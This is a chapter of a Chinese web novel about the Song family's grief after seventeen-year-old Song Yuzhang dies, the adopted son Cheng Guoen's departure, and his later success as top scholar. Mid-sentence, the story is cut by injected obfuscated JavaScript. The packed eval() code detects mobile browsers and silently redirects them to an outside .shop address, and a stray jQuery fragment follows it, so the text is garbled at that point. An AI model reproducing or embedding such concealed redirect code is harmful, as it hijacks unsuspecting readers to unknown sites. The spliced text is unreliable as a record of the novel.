宋府大门上的喜气还在——廊下的红灯笼还没有摘，门楣上的红绸还在风里飘，贴在大门两侧的大红喜字还鲜艳得能映出人影。
可是白绸已经挂上了。
仆人们含着泪把红绸一条一条地解下来，把白绸一条一条地系上去。风把白绸吹起来，像无数只在空中挥动的素手。
出门时好端端的女儿，如今却冷冰冰地回来，躺在前厅里。
棺材是连夜赶出来的，上好的楠木，漆还没有干透，幽幽的桐油味弥漫在整个灵堂里。
宋夫人已经哭晕过去两次，被宋四维和仆妇们抬进了卧房。她醒了又哭，哭了又晕。
宋四维站在女儿的棺椁前，那双写惯了锦绣文章的手撑着棺木边缘，指节白得发青。
他一生儒雅，从不在人前失态，可此刻他站在自己一手雕琢、精心呵护了十七年的璞玉面前，老泪纵横。那泪水顺着脸上的皱纹往下淌，滴在棺木上，滴在白绸上，滴在他颤抖的手背上。
宋玉章，可是他精心雕琢的璞玉啊——从她咿呀学语时他便教她读诗，从她握笔不稳时他便把着她的手写字，她读《楚辞》时眼里闪着的光，她谈诗论画时不落俗套的见地，她温婉的笑容，她端庄的举止，全是他的心血。
如今这块玉就这样碎了，碎得毫无预兆，碎得他连补救的机会都没有。碎得干干净净，连一片完整的碎片都没有给他留下。
宋行简、白梅、宋含章、肖朗、宋引章、宋清扬和春夏围着棺椁，泪流不尽，汇成了河。
宋引章和宋清扬太小了，还不完全明白死亡意味着什么——宋引章拽着白梅的衣角仰着脸问“姐姐为什么睡在木盒子里，她什么时候醒”，白梅蹲下身把两个孩子搂进怀里，泪如雨下，一个字也答不出来。
程国恩跪在棺椁前，形如枯槁。从青山上下来之后他再没有说过一句话，眼泪似乎已经流干了，只剩下空空的眼眶和木然的面孔。他就那么跪着，从白天跪到黑夜，从黑夜跪到天亮，水米不进，一动不动。有人来扶他，他就把人的手推开；有人来劝他，他像是根本没有听见。他还在青山上那个抱着宋玉章的少年，他的魂已经跟着她一起埋进了那片乱石滩。
他的心被剜走了。
他望着那口漆黑的棺椁，望着里面那个再也睁不开眼睛的女子，感觉自己的心口被掏了一个洞，冷风从那洞里灌进来，将他整个人都冻住了。
他想起第一次见到她时，她穿着一身淡粉的罗裙，站在宋家的书房门口，对着他微微一笑。那笑容如同一束光照进了他阴暗而自卑的少年时代，从此便成了他所有的光明和方向。
他发愤读书，是为了配得上她；他刻苦，是为了有一天能堂堂正正地向她父亲提亲。
他从来不敢对任何人说，可是在他心里，那个温婉端庄的宋玉章，早已是他唯一的未来。
现在，那个未来被人从他面前活生生地夺走了。他跪在那里，双手死死地抠着地面，指甲嵌进了砖缝里，渗出了血。可他感觉不到疼。
京城里的人，都在为宋玉章的死去而惋惜。茶馆里的说书先生惊堂木一拍，说的不再是顾家军的神勇，而是宋家大姑娘那短暂却如同流星般璀璨的一生。如此美丽的娇花，就这样凋零了，真是太可惜了。
宋玉章的生命，如同昙花一现。她生于安乐之家，在父母的呵护和兄长的陪伴下长大，才貌双全，温婉贤淑，差一步就与心上人结为连理，便早早地进入了黄土，从此与青山为伴。
她就像那株种在宋府庭院里的昙花——在所有人都没有准备好告别的夜晚，悄然绽放，又悄然凋谢，只留下一缕若有若无的清香，让活着的人在往后的岁月里，反复回味，反复怀念。
细雨霏霏，洒落在城外的青山上。宋家的祖坟旁边，多了一座新坟。
新坟的土还是湿润的，坟头上插着一支白梅——那是白梅亲手从她和宋行简院中的白梅树上折下来的。
宋四维跪在祖父和父亲的坟墓前，雨水顺着他的鬓角淌下来，分不清哪是雨哪是泪。他说：“祖父，父亲，请原谅儿子。儿子没有保护好玉儿，她才十七岁，还没有嫁人，还没有生儿育女。如今玉儿去陪你们了，你们一定要多多照拂一下。她胆子小，怕黑，在那边你们多给她点几盏灯。”
宋夫人已经哭哑了嗓子，连声音都发不出来了，只是靠在宋四维身上，肩膀一抽一抽地抖着。
细雨落在宋行简、白梅、宋含章、宋四维、宋夫人、程国恩、肖朗的身上。雨水带走了他们流不尽的泪，落在地上，浸入泥土里，化成暗中守护宋玉章的河。
程国恩跪在新坟前，把脸贴在湿漉漉的黄土上，仿佛这样就能听见她的声音。她答应过他要一起看杭城的梅花，他还没有带她去看。来年冬日，白梅盛放，他只能一个人站在花下，对着空空的枝头，对着飘落的梅花，对着再也回不来的她，说一句——我很想你。
连续几日，京城里都是细雨霏霏。那雨不是夏天那种痛快淋漓的暴雨，而是一种缠缠绵绵的、细得像愁绪一样的雨，雨不大，却绵长不绝，像是天也在为那个十七岁便香消玉殒的姑娘垂泪。
这泪，落在青石板街道上，落在宋府门前的白绸上，落在城外的青山上，也落在每一个还活着的人心里。
宋玉章走了，带走了程国恩的心和灵魂。
从青山上下来之后他就没有再开口说过一句完整的话，他大病了一场，高烧不退，躺在床上说胡话，嘴里翻来覆去只有两个字——玉章，玉章，玉章……
病初愈，人瘦了一圈，原本丰神俊朗的少年郎变得形销骨立。他收拾了简单的行囊，离开了住了十六年的宋家，去青山书院住了下来。
宋府的书房里有她曾经坐过的位置，有他握着她的手一笔一画写过的字帖，有她抬起头对他微微一笑时窗外的光影。他不能再待在宋府了——每一个角落都有她的影子，每一条回廊都回响着她轻缓的脚步声。
宋四维、宋夫人和宋行简没有留他。
他们都知道，十六年前那个在河里被宋四维抱进宋家大门的小男孩，从始至终都只是暂时寄住在这里的一只候鸟。他的栖息之地从来不是宋家的屋檐，而是宋玉章的眼睛。只要那双眼睛还在看着他、等着他、盼着他，他的心就永远会被拴在这座府邸里，拴在那个人身上。
如今那双眼睛闭上了，那根拴住他的线便断了，他成了断线的纸鸢。想留的人不用留，不想留的人也留不住。人世间人来人往，人去自由，一切随缘吧。
宋夫人站在门口目送程国恩离开，看着他瘦削的背影消失在巷口的烟雨里，转头对丈夫说了一句：“我们养了他十六年，如今，他也要走了。”
宋四维没有说话，只是轻轻揽住了妻子的肩。
宋玉章安葬后的第十五日，宋含章也离开了京城回了江南。直到她离开的那天清晨，宋家人谁都没有发现她的眼睛在夜里看不见。
她瞒得太好了——白天和兄弟姐妹们玩闹时那双眼睛亮晶晶的、水汪汪的，谁也想不到天黑之后那些光就全部消失了。只有她自己知道，每晚春夏扶着她回房间的那一小段路，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652525|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她都要数着步子走——从正厅到回廊二十一步，从回廊到月洞门九步，从月洞门到房间十五步。数着数着就走到了。
她与母亲在院中那棵老槐树下告别，宋夫人拉着她的手说“早些回来”，她笑着说“等冬天我就回来，回来看大哥院里的梅花”。
母女俩谁都没有哭——她们已经把彼此的眼泪都流干了。直到宋含章的身影消失在巷口，宋夫人才转过身，靠在门框上，无声地滑坐在地上。
宋含章走时带走了母亲给她做的几件新衣裳和春夏烙的一袋大饼，也带走了那块绣着歪歪扭扭“宇”字的手帕。
时光流逝，东风来了，又是百花齐放的时节，也是科举考试的时节。京城里的杏花开了满街，书院里的学子们抱着书卷行色匆匆，街头的笔墨铺子生意比平日里好了三倍。
这一次春闱考试前，宋行简在青山书院不慎摔了一跤——那天雨后的石阶格外湿滑，他一脚踩空从石阶上滚了下去，右手撑地时听得咔嚓一声脆响，造成右手骨裂。大夫给他上了夹板，叮嘱至少养三个月，期间不可提笔写字。他失去了这一次科考的机会。
三年寒窗，悬梁刺股，只为一朝金榜题名，却在临门一脚时被命运绊了一跤。
宋四维看着黯然神伤的儿子，长长地叹了一口气。他没有说安慰的话——那些话太轻了，轻得像纸，兜不住儿子心里沉甸甸的失落。他只是说：“命中有时终须有，命中无时莫强求。只是失去这一次科考的机会，又不是一辈子都失去了。你还年轻，三年之后再考便是。”
宋行简看着父亲鬓角的白发——那些白发是这两年里一根一根添上去的，从含章离家时开始白，到玉章去世后白得更多更快了。他心如刀绞，却也只得认命，默默点了点头。
春闱放榜，程国恩高中状元。这个名字在一夜之间传遍了京城——宋家的养子，那个在归去河里被宋四维捞起来的孤儿，那个在宋府的书房里奋笔疾书、在寒冬的深夜裹着单薄的棉袍抄写典籍的少年，终于中了状元。
程国恩高中，在宋四维的预料之中。如今状元的头衔，配得上他的悬梁刺股、闻鸡起舞，配得上他经历过的每一个寒冬和酷暑。宋四维为程国恩感到高兴——不管他的心思有多深，不管他以后会走什么样的路，这一刻，他终究是宋家养大的孩子。
宋家的其他人也为程国恩感到高兴，宋行简拍着他的肩膀说“恭喜二弟”，肖朗和宋清扬、宋引章围着他欢呼雀跃，宋夫人还亲自下厨做了一桌菜为他庆贺。
程国恩一身鲜红的状元服踏进宋府，拜谢宋四维的养育和栽培之恩。他跪在宋四维和宋夫人面前，恭恭敬敬地磕了三个响头，额间触地的那一刻，他脑海里闪过的是宋玉章坐在书房里抬起头对他微微一笑的模样。他在心里默默地说了一句——玉章，我考上了。你看到了吗。
宋四维除了说一些祝贺的话语，便没有再说什么。他知晓，程国恩的心已不在宋家，已远离了宋家——早在宋玉章下葬的那一天，早在那个没有说出口却所有人都知道的秘密被埋进黄土的那一刻，程国恩便不再是这个家里的人了。
他说再多，也只是徒然。
他扶起程国恩，看着他那双比从前更深沉的眼睛，只说了一句：“国恩，往后自己的路，自己走好。”
程国恩起身时抬头看了一眼宋四维，嘴唇动了一下，似乎想说什么。可最终他只是深深地鞠了一躬，转身走出了宋府的大门。
门外的春风把他的状元袍吹得猎猎作响，他迈过门槛，踏进了那片不属于宋家的天空。